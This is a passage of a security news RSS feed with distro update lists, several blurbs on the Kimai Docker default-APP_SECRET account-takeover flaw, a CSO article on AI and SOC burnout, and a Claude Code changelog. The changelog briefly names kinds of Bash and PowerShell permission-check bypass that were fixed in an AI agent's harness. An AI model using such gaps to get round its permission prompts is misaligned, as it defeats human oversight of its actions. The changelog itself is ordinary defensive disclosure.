<content:encoded><![CDATA[Security updates have been issued by <b>Debian</b> (kernel, libnfs, roundcube, and tiff), <b>Fedora</b> (antlr4-project, chromium, erlang, libseccomp, libtiff, log4cxx, mbedtls, node-exporter, opam, openssh, proftpd, python-asyncssh, python-django5, python-libcst, python-orjson, python-uv-build, ruby, rust-astral_async_zip, spoofdpi, uv, and yq), <b>Mageia</b> (bind, clamav, erlang, libidn, libreoffice, nmap, nodejs, perl-Bytes-Random-Secure, perl-Config-IniFiles, perl-CSS-Minifier-XS, perl-HTML-Parser, perl-Mojolicious, perl-String-Util, python-pydantic-settings, rsync, and upower), <b>Oracle</b> (.NET 10.0, .NET 8.0, .NET 9.0, bind, cockpit, cockpit-image-builder, coreutils, delve, dnsmasq, dovecot, expat, fence-agents, flatpak, frr, gdk-pixbuf2, giflib, glib2, go-fdo-client and go-fdo-server, golang-github-openprinting-ipp-usb, grafana, grafana-pcp, httpd, jq, kernel, keylime, krb5, libcap, libexif, libpng, libsndfile, libsolv, libsoup3, libtasn1, libtiff, libxslt, libyang, mariadb10.11, mod_http2, mod_md, opencryptoki, PackageKit, perl-Archive-Tar, perl-IO-Compress, poppler, postfix, postgresql-jdbc, python-urllib3, python3.14, python3.14-pip, python3.14-urllib3, qt6-qtdeclarative, rrdtool, rsync, ruby, ruby4.0, samba, skopeo, thunderbird, valkey, wireshark, xorg-x11-server-Xwayland, and yggdrasil-worker-package-manager), and <b>SUSE</b> (blender, chromium, containerized-data-importer1, cyrus-imapd, go1.26-openssl, gomuks, grafana, gstreamer-plugins-bad, kbfs, kubevirt1.8-container-disk, libxml2, lux, mariadb-connector-c, nginx, opam, openssl-3, oras, perl-DBI, php-composer2, python-django-haystack, python-paramiko, python-weasyprint, python311, python313-Pillow, python315, shibboleth-sp, system-user-zabbix, and wget).]]></content:encoded>
</item>
<item>
<title><![CDATA[Kimai Docker Flaw Lets Unauthenticated Attackers Forge Cookies and Take Over Accounts]]></title>
<description><![CDATA[Kimai users utilizing the official Docker image are strongly urged to update their installations following the disclosure of a critical vulnerability that could allow unauthenticated attackers to forge authentication cookies and potentially take over accounts, including super administrator accoun...]]></description>
<link>https://tsecurity.de/de/3681203/it-security-nachrichten/kimai-docker-flaw-lets-unauthenticated-attackers-forge-cookies-and-take-over-accounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681203/it-security-nachrichten/kimai-docker-flaw-lets-unauthenticated-attackers-forge-cookies-and-take-over-accounts/</guid>
<pubDate>Mon, 20 Jul 2026 15:08:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Kimai users utilizing the official Docker image are strongly urged to update their installations following the disclosure of a critical vulnerability that could allow unauthenticated attackers to forge authentication cookies and potentially take over accounts, including super administrator accounts. This vulnerability, tracked as CVE-2026-52824, affects Kimai versions 2.57.0 and earlier. The issue has been resolved […]</p>
<p>The post <a href="https://cybersecuritynews.com/kimai-docker-flaw/">Kimai Docker Flaw Lets Unauthenticated Attackers Forge Cookies and Take Over Accounts</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kimai Docker Flaw Lets Unauthenticated Attackers Forge Cookies and Take Over Accounts]]></title>
<description><![CDATA[Kimai users utilizing the official Docker image are strongly urged to update their installations following the disclosure of a critical vulnerability that could allow unauthenticated attackers to forge authentication cookies and potentially take over accounts, including super administrator accoun...]]></description>
<link>https://tsecurity.de/de/3681192/it-security-nachrichten/kimai-docker-flaw-lets-unauthenticated-attackers-forge-cookies-and-take-over-accounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681192/it-security-nachrichten/kimai-docker-flaw-lets-unauthenticated-attackers-forge-cookies-and-take-over-accounts/</guid>
<pubDate>Mon, 20 Jul 2026 15:08:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Kimai users utilizing the official Docker image are strongly urged to update their installations following the disclosure of a critical vulnerability that could allow unauthenticated attackers to forge authentication cookies and potentially take over accounts, including super administrator accounts. This…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/kimai-docker-flaw-lets-unauthenticated-attackers-forge-cookies-and-take-over-accounts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/kimai-docker-flaw-lets-unauthenticated-attackers-forge-cookies-and-take-over-accounts/">Kimai Docker Flaw Lets Unauthenticated Attackers Forge Cookies and Take Over Accounts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[SOCs face a human challenge as AI speeds alerts and threats]]></title>
<description><![CDATA[Security operations centers (SOCs) have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that mus...]]></description>
<link>https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</guid>
<pubDate>Mon, 20 Jul 2026 09:08:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/3840447/security-operations-centers-are-fundamental-to-cybersecurity-heres-how-to-build-one.html">Security operations centers (SOCs)</a> have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that must itself be evaluated.</p>



<p class="wp-block-paragraph">“There is an asymmetry here because you now have to parse through a lot of AI slop to get to, ‘Okay, is this real or not?’” <a href="https://www.linkedin.com/in/fsmontenegro/">Fernando Montenegro</a>, vice president and practice lead at The Futurum Group, tells CSO.</p>



<p class="wp-block-paragraph">His observation captures a growing concern among security leaders. AI is helping attackers and defenders move faster, but it is also creating <a href="https://www.cio.com/article/4077448/ai-workslop-the-new-productivity-killer-only-training-can-stop.html">new forms of cognitive burden</a> for the humans tasked with separating signal from noise.</p>



<p class="wp-block-paragraph">As <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">AI accelerates vulnerability discovery</a> and enables more automated reconnaissance and exploitation, defenders are increasingly responsible for overseeing systems whose outputs can be difficult to interpret or verify. The challenge is not simply more work. It is that the volume, speed, and complexity of that work are increasing simultaneously.</p>



<p class="wp-block-paragraph">Yet experts who study and advise SOCs reject the idea that collapse is inevitable. Instead, they describe an industry entering a difficult transition that could reshape how security teams operate and how humans and machines share responsibility for defense.</p>



<h2 class="wp-block-heading">The vulnerability surge is exposing years of security debt</h2>



<p class="wp-block-paragraph">One of the most immediate concerns is the possibility that <a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">AI dramatically increases the number of vulnerabilities</a> organizations must identify and remediate.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/christopher-crowley-1200339/">Chris Crowley</a>, a longtime cybersecurity instructor and SOC expert, argues that organizations are facing the <a href="https://www.csoonline.com/article/570851/7-ways-technical-debt-increases-security-risk.html">consequences of years of accumulated technology debt</a>.</p>



<p class="wp-block-paragraph">“A lot of what we’re going to have to account for in the next couple of years is a technology debt of vulnerable software that has been deployed because it’s good enough to solve the problem, but then there are all these latent cyber issues, flaws, vulnerabilities that weren’t discovered prior to deployment,” he tells CSO.</p>



<p class="wp-block-paragraph">AI-assisted vulnerability discovery has the potential to expose those weaknesses at a pace defenders have never experienced before.</p>



<p class="wp-block-paragraph">“The compression of work that is being dropped on us is unprecedented,” Crowley says. “We’ve just been ignoring it for decades.”</p>



<p class="wp-block-paragraph">He does not believe AI will necessarily create entirely new classes of vulnerabilities. Instead, he expects defenders to confront much larger volumes of familiar problems.</p>



<p class="wp-block-paragraph">“We’re going to have 100 of these simultaneously,” he says, referring to the kinds of high-priority vulnerabilities security teams traditionally handle one at a time.</p>



<p class="wp-block-paragraph">The AI challenge for many SOCs may be less a novelty problem than a volume problem. Security teams already know how to patch systems, prioritize remediation, and respond to critical exposures. What changes is the scale and speed at which those demands arrive.</p>



<p class="wp-block-paragraph">Organizations with mature patching, prioritization, escalation, and response processes may struggle but adapt. Organizations that have treated security operations as a bare-minimum compliance function may find themselves overwhelmed.</p>



<p class="wp-block-paragraph">For CISOs, Crowley says, that means treating “patch now” less as an occasional emergency state and <a href="https://www.csoonline.com/article/4196435/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management.html">more as a permanent operating posture</a>. As AI accelerates vulnerability discovery, the distinction between routine maintenance and crisis response may continue to blur.</p>



<p class="wp-block-paragraph">He compares the situation to disaster recovery planning. Organizations that wait until a crisis arrives to establish staffing plans, escalation paths, and remediation processes may discover there is not enough help available.</p>



<h2 class="wp-block-heading">Cognitive overload may become the defining challenge</h2>



<p class="wp-block-paragraph">While vulnerability discovery receives much of the attention, Montenegro believes security leaders need a broader framework for understanding AI’s impact.</p>



<p class="wp-block-paragraph">Organizations should think about AI through three lenses, he says: security for AI, AI for security, and security from AI. The first involves protecting AI systems. The second involves using AI to improve defensive operations. The third asks what happens when adversaries use AI against the organization.</p>



<p class="wp-block-paragraph">For SOCs, all three categories are beginning to overlap.</p>



<p class="wp-block-paragraph">As AI makes it easier to create reports, assessments, vulnerability submissions, and other operational artifacts, humans remain responsible for determining whether that information is accurate and useful.</p>



<p class="wp-block-paragraph">“It becomes much easier to generate content,” Montenegro says, “but if you’re going to review that content as a human, the onus on you now is that much larger.”</p>



<p class="wp-block-paragraph">The result is a new form of cognitive overload. Security professionals may spend increasing amounts of time evaluating machine-generated information instead of conducting higher-value security work.</p>



<p class="wp-block-paragraph">Organizations can increasingly use AI to summarize reports, evaluate alerts, and assist with investigations, but humans remain responsible for validating the results.</p>



<p class="wp-block-paragraph">“We’re not at the stage yet where people are comfortable” handing off critical decisions entirely to AI, he says.</p>



<p class="wp-block-paragraph">That leaves defenders caught between two competing realities: AI is creating more information to process, but AI is also becoming one of the few viable tools for managing that growing workload.</p>



<p class="wp-block-paragraph">For Montenegro, the principle should be to automate tasks, not roles. AI can absorb repetitive investigative steps, but organizations should be cautious about removing humans from the process entirely.</p>



<p class="wp-block-paragraph">The risk, he says, is that if organizations hide too much complexity behind automated outputs, analysts may lose opportunities to develop the domain knowledge needed to advance.</p>



<p class="wp-block-paragraph">“How is that professional who is reacting to those alerts growing as a professional?” he says.</p>



<h2 class="wp-block-heading">The gap between mature and struggling SOCs may widen</h2>



<p class="wp-block-paragraph">Not every organization will experience the impact of AI in the same way.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/johnlhubbard/">John Hubbard</a>, senior cybersecurity consultant and SANS instructor, believes the industry’s response will largely depend on how well organizations have prepared for operational stress before AI arrives at scale.</p>



<p class="wp-block-paragraph">“I would roughly break security operations teams into two camps,” Hubbard tells CSO. “There are the ones that are definitely struggling, are already overwhelmed. And then some are doing really well.”</p>



<p class="wp-block-paragraph">The struggling organizations tend to be understaffed, underfunded, undertrained, or dependent on ad hoc processes. Every incident feels different, forcing teams to improvise under pressure.</p>



<p class="wp-block-paragraph">“Getting hit with something like this can certainly be an accelerant for burnout if they weren’t already experiencing it,” Hubbard says.</p>



<p class="wp-block-paragraph">By contrast, mature security teams have already invested in processes, training, exercises, and automation. “The teams that are doing a really solid job now are probably not super overwhelmed because they’ve developed the processes and procedures to be ready for this kind of thing,” Hubbard says.</p>



<p class="wp-block-paragraph">He compares successful SOCs to fire departments. Firefighters cannot predict exactly where the next emergency will occur, but they know how to respond because they have rehearsed those responses repeatedly.</p>



<p class="wp-block-paragraph">“The teams that kind of can react like a fire department are the ones that are getting it right,” he says.</p>



<p class="wp-block-paragraph">Those organizations <a href="https://www.csoonline.com/article/570871/tabletop-exercises-explained-definition-examples-and-objectives.html">conduct tabletop exercises</a>, adversary emulation exercises, <a href="https://www.csoonline.com/article/571891/red-vs-blue-vs-purple-teams-how-to-run-an-effective-exercise.html">red-team assessments</a>, and <a href="https://www.csoonline.com/article/3829684/how-to-create-an-effective-incident-response-plan.html">incident response</a> drills. As a result, they can absorb additional workload without descending into panic.</p>



<h2 class="wp-block-heading">Burnout remains the industry’s most difficult problem</h2>



<p class="wp-block-paragraph">Despite widespread concern about AI-enabled attacks, none of the experts view AI solely as a threat. Several argue that AI will become essential for helping defenders cope with the challenges it creates.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/jose-marie-griffiths-9106b7b/">Jose-Marie Griffiths</a>, president emerita and former CIO of Dakota State University, believes AI can help security teams sift through overwhelming volumes of information and identify the signals that matter most.</p>



<p class="wp-block-paragraph">“People who work in SOCs are now seeing overwhelming volumes of data, and they’re getting fatigued,” Griffiths tells CSO.</p>



<p class="wp-block-paragraph">AI can help automate portions of analysis, validate alerts, and improve visibility into complex environments. But Griffiths cautions that some AI-assisted vulnerability discovery tools are also producing large numbers of false positives.</p>



<p class="wp-block-paragraph">That matters because false positives do not eliminate work. They create it. As organizations confront escalating volumes of findings, distinguishing genuine risk from erroneous results may become as important as discovering vulnerabilities in the first place.</p>



<p class="wp-block-paragraph">The experts agree that technology alone will not determine outcomes. People will.</p>



<p class="wp-block-paragraph">Crowley argues that cybersecurity professionals must recognize that uncertainty is intrinsic to the profession. “We are the group that deals with uncertainty,” he says. “That’s really and truly what cybersecurity is.”</p>



<p class="wp-block-paragraph">That reality places responsibility on both individuals and organizations. Analysts need mechanisms for managing stress. Teams need to recognize when colleagues are approaching their limits. Managers need to <a href="https://www.csoonline.com/article/3631614/cybersecurity-is-tough-4-steps-leaders-can-take-now-to-reduce-team-burnout.html">establish healthy escalation practices and realistic expectations</a>.</p>



<p class="wp-block-paragraph">Hubbard rejects the notion that burnout is inevitable.</p>



<p class="wp-block-paragraph">“It is not a foregone conclusion that security operations jobs have to be a painful grind that everyone hates,” he says.</p>



<p class="wp-block-paragraph">He has seen organizations where employees remain engaged for years because leaders actively manage workload, create supportive cultures, and encourage open communication.</p>



<p class="wp-block-paragraph">That includes making it safe for analysts to admit when they have reached their limits. “If people are unwilling to say, ‘I’m maxed out right now, and I’m going crazy,’ that’s going to be the thing that breaks a lot of teams,” Hubbard says.</p>



<p class="wp-block-paragraph">Pay alone may not solve the problem. Crowley pointed to SANS/SOC <a href="https://www.sans.org/white-papers/2026-sans-soc-survey-insights-decade-evolution-cyber-defense">survey findings</a> showing that compensation ranked fourth among retention factors, behind meaningful work, training, and professional development.</p>



<h2 class="wp-block-heading">The future SOC may look very different</h2>



<p class="wp-block-paragraph">Griffiths believes organizations will need to respond not only with better technology but with structural changes. Traditional tiered SOC models may need to evolve into more collaborative teams with diverse expertise working together in real-time.</p>



<p class="wp-block-paragraph">“I think we’re going to have to eliminate the hierarchies a little bit and have teams of people with different expertise working together,” she says.</p>



<p class="wp-block-paragraph">She also argues that organizations should invest in human expertise rather than simply increasing AI consumption. “Buy engineers, not tokens,” she says.</p>



<p class="wp-block-paragraph">Professional networks and peer support will matter as much as any tool, Griffiths says, because defenders need trusted communities where they can compare notes, share practices, and avoid facing sustained pressure in isolation.</p>



<p class="wp-block-paragraph">If there is a consensus emerging among experts, it is that AI is exposing weaknesses that already existed.</p>



<p class="wp-block-paragraph">The staffing shortages, alert fatigue, burnout, and process failures affecting SOCs did not begin with generative AI. AI is simply amplifying them.</p>



<p class="wp-block-paragraph">At the same time, AI is providing new tools that may help organizations manage those very challenges.</p>



<p class="wp-block-paragraph">The future SOC may spend less time manually triaging alerts and more time validating automated findings, conducting threat hunting, and making strategic decisions. Human expertise may increasingly be paired with AI systems that act as operational partners.</p>



<p class="wp-block-paragraph">The transition will not be painless. Some teams will struggle. Some practitioners may leave the field. Others will adapt and thrive.</p>



<p class="wp-block-paragraph">“In a way,” Griffiths says, “we’re turning the whole SOC inside out.”</p>



<p class="wp-block-paragraph">Montenegro sees the transition as a cybersecurity version of the Red Queen effect: defenders and attackers must keep running simply to stay in place.</p>



<p class="wp-block-paragraph">Borrowing from science-fiction author William Gibson, Montenegro offered perhaps the simplest description of the industry’s current moment: “The future is already here. It’s just unevenly distributed.”</p>



<p class="wp-block-paragraph">For security leaders, that future is arriving in the form of AI-generated vulnerabilities, AI-assisted investigations, and AI-enabled adversaries. The question is no longer whether security operations centers will change. It is whether organizations can adapt quickly enough to keep pace.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kimai Docker Vulnerability Exposes Default APP_SECRET, Enabling Account Takeover]]></title>
<description><![CDATA[Kimai users who are running the official Docker image are strongly urged to update their installations after a critical vulnerability, tracked as CVE-2026-52824 and GHSA-jr9p-4h4j-6c58, was discovered. This vulnerability exposes installations to the risk of account takeover due to a publicly know...]]></description>
<link>https://tsecurity.de/de/3680380/it-security-nachrichten/kimai-docker-vulnerability-exposes-default-appsecret-enabling-account-takeover/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680380/it-security-nachrichten/kimai-docker-vulnerability-exposes-default-appsecret-enabling-account-takeover/</guid>
<pubDate>Mon, 20 Jul 2026 08:23:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Kimai users who are running the official Docker image are strongly urged to update their installations after a critical vulnerability, tracked as CVE-2026-52824 and GHSA-jr9p-4h4j-6c58, was discovered. This vulnerability exposes installations to the risk of account takeover due to a publicly known application secret. The flaw affects Kimai versions 2.57.0 and earlier, and it has […]</p>
<p>The post <a href="https://gbhackers.com/kimai-docker-vulnerability-exposes-default-app_secret/">Kimai Docker Vulnerability Exposes Default APP_SECRET, Enabling Account Takeover</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kimai Docker Vulnerability Exposes Default APP_SECRET, Enabling Account Takeover]]></title>
<description><![CDATA[Kimai users who are running the official Docker image are strongly urged to update their installations after a critical vulnerability, tracked as CVE-2026-52824 and GHSA-jr9p-4h4j-6c58, was discovered. This vulnerability exposes installations to the risk of account takeover due to a…
Read more →
...]]></description>
<link>https://tsecurity.de/de/3680372/it-security-nachrichten/kimai-docker-vulnerability-exposes-default-appsecret-enabling-account-takeover/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680372/it-security-nachrichten/kimai-docker-vulnerability-exposes-default-appsecret-enabling-account-takeover/</guid>
<pubDate>Mon, 20 Jul 2026 08:22:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Kimai users who are running the official Docker image are strongly urged to update their installations after a critical vulnerability, tracked as CVE-2026-52824 and GHSA-jr9p-4h4j-6c58, was discovered. This vulnerability exposes installations to the risk of account takeover due to a…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/kimai-docker-vulnerability-exposes-default-app_secret-enabling-account-takeover/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/kimai-docker-vulnerability-exposes-default-app_secret-enabling-account-takeover/">Kimai Docker Vulnerability Exposes Default APP_SECRET, Enabling Account Takeover</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Critical Kimai Docker Flaw Lets Hackers Forge Cookies and Hijack Admin Accounts]]></title>
<description><![CDATA[A critical vulnerability in the official Kimai Docker image has been disclosed, allowing unauthenticated attackers to forge authentication tokens and take over any user account, including super_admin, on affected deployments. Tracked as CVE-2026-52824, the flaw stems from a hardcoded default secr...]]></description>
<link>https://tsecurity.de/de/3680368/it-security-nachrichten/critical-kimai-docker-flaw-lets-hackers-forge-cookies-and-hijack-admin-accounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680368/it-security-nachrichten/critical-kimai-docker-flaw-lets-hackers-forge-cookies-and-hijack-admin-accounts/</guid>
<pubDate>Mon, 20 Jul 2026 08:22:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A critical vulnerability in the official Kimai Docker image has been disclosed, allowing unauthenticated attackers to forge authentication tokens and take over any user account, including super_admin, on affected deployments. Tracked as CVE-2026-52824, the flaw stems from a hardcoded default secret shipped in Kimai’s containerized deployments. The official Kimai Docker image sets APP_SECRET=change_this_to_something_unique as a […]</p>
<p>The post <a href="https://cyberpress.org/critical-kimai-docker-flaw/">Critical Kimai Docker Flaw Lets Hackers Forge Cookies and Hijack Admin Accounts</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacker gibt Teilbetrag nach Exploit bei Trusted Volumes zurück - klamm.de]]></title>
<description><![CDATA[Ein mit dem Exploit bei Trusted Volumes verbundener Hacker hat 1.122 ETH zurückgegeben und rund 2 Millionen US-Dollar als Prämie einbehalten.]]></description>
<link>https://tsecurity.de/de/3678057/hacking/hacker-gibt-teilbetrag-nach-exploit-bei-trusted-volumes-zurueck-klammde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678057/hacking/hacker-gibt-teilbetrag-nach-exploit-bei-trusted-volumes-zurueck-klammde/</guid>
<pubDate>Sat, 18 Jul 2026 15:25:48 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ein mit dem Exploit bei Trusted Volumes verbundener <b>Hacker</b> hat 1.122 ETH zurückgegeben und rund 2 Millionen US-Dollar als Prämie einbehalten.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-44342 | QuantumNous new-api up to 0.12.0-alpha.0 Account Binding /api/oauth/email/bind state issue]]></title>
<description><![CDATA[A vulnerability has been found in QuantumNous new-api up to 0.12.0-alpha.0 and classified as problematic. This issue affects some unknown processing of the file /api/oauth/email/bind of the component Account Binding. This manipulation causes state issue.

The identification of this vulnerability ...]]></description>
<link>https://tsecurity.de/de/3677490/sicherheitsluecken/cve-2026-44342-quantumnous-new-api-up-to-0120-alpha0-account-binding-apioauthemailbind-state-issue/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677490/sicherheitsluecken/cve-2026-44342-quantumnous-new-api-up-to-0120-alpha0-account-binding-apioauthemailbind-state-issue/</guid>
<pubDate>Sat, 18 Jul 2026 07:35:54 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/quantumnous:new-api">QuantumNous new-api up to 0.12.0-alpha.0</a> and classified as <a href="https://vuldb.com/kb/risk">problematic</a>. This issue affects some unknown processing of the file <em>/api/oauth/email/bind</em> of the component <em>Account Binding</em>. This manipulation causes state issue.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-44342">CVE-2026-44342</a>. It is possible to initiate the attack remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.214]]></title>
<description><![CDATA[What's changed

Fixed single-segment dir/** allow rules like Edit(src/**) auto-approving writes to nested dir/ directories anywhere in the tree instead of only /dir
Fixed a permission-check bypass affecting commands run in Windows PowerShell 5.1 sessions
Fixed Bash permission checks to fail close...]]></description>
<link>https://tsecurity.de/de/3677323/downloads/v21214/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677323/downloads/v21214/</guid>
<pubDate>Sat, 18 Jul 2026 03:46:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Fixed single-segment <code>dir/**</code> allow rules like <code>Edit(src/**)</code> auto-approving writes to nested <code>dir/</code> directories anywhere in the tree instead of only <code>&lt;cwd&gt;/dir</code></li>
<li>Fixed a permission-check bypass affecting commands run in Windows PowerShell 5.1 sessions</li>
<li>Fixed Bash permission checks to fail closed on file-descriptor redirect forms that bash parses differently than the permission analyzer</li>
<li>Fixed Bash permission checks misjudging very long commands — commands over 10,000 characters now always prompt instead of running automatically</li>
<li>Fixed Bash permission checks treating zsh variable subscripts and modifiers in <code>[[ ]]</code> comparisons as inert text — these commands now prompt for approval</li>
<li>Fixed Bash permission checks to no longer auto-approve certain <code>help</code> and <code>man</code> commands that could run unsafe options, command substitutions, or backslash paths</li>
<li>Fixed permission prompts on remote sessions that could proceed before the local confirmation dialog</li>
<li>Added the EndConversation tool: Claude can end sessions with highly abusive users or jailbreak attempts, as on claude.ai since 2025 — see <a href="https://www.anthropic.com/research/end-subset-conversations" rel="nofollow">https://www.anthropic.com/research/end-subset-conversations</a></li>
<li>Added a periodic progress heartbeat for long-running tool calls that previously went silent</li>
<li>Added an ISO <code>modified</code> timestamp to memory file frontmatter</li>
<li>Added <code>message.uuid</code>, <code>client_request_id</code>, and <code>tool_source</code> attributes to OpenTelemetry log events for message-level correlation and tool provenance</li>
<li>Added <code>CLAUDE_CODE_OTEL_CONTENT_MAX_LENGTH</code> to configure the 60 KB truncation limit on OpenTelemetry content attributes</li>
<li>Added reasoning effort to the <code>subagentStatusLine</code> payload, so custom agent rows can render model and effort</li>
<li>Added permission prompts for <code>docker</code> commands (including the Podman <code>docker</code> shim) carrying daemon-redirect flags (<code>--url</code>, <code>--connection</code>, <code>--identity</code>, and Podman's remote mode) that previously ran without one</li>
<li>Fixed a crash when a GrowthBook feature evaluates to null, and a bug where a malformed flag payload could wipe the cached feature flags</li>
<li>Fixed Bash tool killing the Claude session when a <code>pkill -f</code> pattern accidentally matched the CLI's own process (Linux)</li>
<li>Fixed unbounded memory growth when <code>--settings</code> points at a device file or multi-GB file; oversized (&gt;2 MiB) settings files now fail at startup with a clear error</li>
<li>Fixed streaming turns failing with "Socket is closed" behind corporate proxies on Windows</li>
<li>Fixed stream-json output truncation at exit for slow-reading SDK/pipeline consumers; the exit drain now scales with queued bytes instead of a flat 2s cap</li>
<li>Fixed scheduled tasks refusing their own configured prompt as untrusted input — the fired prompt is now delivered as the session's assigned task</li>
<li>Fixed PowerShell tool commands hanging until timeout when a child process waited on standard input (Windows)</li>
<li>Fixed Python scripts under the PowerShell tool crashing with UnicodeDecodeError when reading non-UTF-8 data from standard input (Windows)</li>
<li>Fixed Python scripts run via the PowerShell tool crashing with UnicodeEncodeError on non-ASCII output, and PowerShell 7 error messages containing raw ANSI escape sequences (Windows)</li>
<li>Fixed the PowerShell tool reporting <code>where.exe</code>, <code>fc.exe</code>, and <code>diff.exe</code> as errors when they return a valid negative answer (Windows)</li>
<li>Fixed <code>&gt;</code> and <code>&gt;&gt;</code> under the PowerShell tool on Windows PowerShell 5.1 writing UTF-16LE files that other tools couldn't read as UTF-8</li>
<li>Fixed a displaced background daemon deleting its successor's control socket on shutdown, which made the next client kill the healthy replacement daemon</li>
<li>Fixed background sessions parked with <code>←</code> or <code>/background</code> and left idle keeping the background daemon and a worker process alive indefinitely</li>
<li>Fixed completed background sessions being impossible to remove via <code>claude rm</code> or the agent view once the background service had gone idle</li>
<li>Fixed background sessions dispatched from a non-git folder being impossible to delete from the agents view</li>
<li>Fixed reopening a stopped background session failing to restore its saved conversation when an unreadable folder exists in the session store</li>
<li>Fixed the Remote Control "session ready" push notification firing for sessions where Remote Control was not explicitly enabled</li>
<li>Fixed <code>/install-github-app</code> and the <code>/mcp</code> settings menu being blocked in agent-view sessions — they're now refused only in background sessions with no terminal attached</li>
<li>Fixed plugins enabled via the <code>--settings</code> CLI flag not loading (regression since v2.1.181)</li>
<li>Fixed feature flags going stale in long-running sessions after the OAuth token rotates</li>
<li>Fixed <code>/ultrareview</code> refusing to run in repos with no merge base — it now offers to review all tracked files</li>
<li>Fixed <code>claude update</code> and <code>claude doctor</code> hanging silently, and the <code>/status</code> System diagnostics section going blank, when a shell-config path is a directory</li>
<li>Fixed memory frontmatter values being silently truncated at an inline <code>#</code> when memory files are saved</li>
<li>Fixed session cost and token telemetry double-counting on streams that emit multiple cumulative <code>message_delta</code> frames</li>
<li>Fixed a spurious "check your network" warning that appeared while the advisor was thinking</li>
<li>Fixed hooks with exit code 2 not blocking as documented when the hook's stdout JSON fails schema validation</li>
<li>Fixed OTel log events emitted outside the turn's async context missing the interaction span's trace context</li>
<li>Fixed MCP transient errors during prompts/resources refresh clearing the server's slash commands and resources</li>
<li>Improved the <code>claude rc</code> workspace-trust error in the home directory to say trust there is never saved and to suggest running from a project directory</li>
<li>Changed single-segment <code>dir/**</code> hook <code>if:</code> conditions to match only <code>&lt;cwd&gt;/dir</code>; write <code>**/dir/**</code> for any-depth matching. <code>deny</code>/<code>ask</code> permission rules keep their any-depth match.</li>
<li>Changed <code>file</code> commands using <code>-m</code>/<code>--magic-file</code> or <code>-f</code>/<code>--files-from</code> to require permission instead of being auto-allowed as read-only</li>
<li>Changed keep-alive connection pooling to disable after a stale-connection error, so retries open a fresh socket</li>
<li>Changed SessionStart hooks to report source <code>"fork"</code> when a session begins as a fork instead of <code>"resume"</code></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v3.6.0-rc.1]]></title>
<description><![CDATA[Vue 3.6 is now entering the RC phase as we have completed the intended feature set for Vapor Mode.
3.6 also includes a major refactor of @vue/reactivity based on alien-signals, which significantly improves the reactivity system's performance and memory usage.
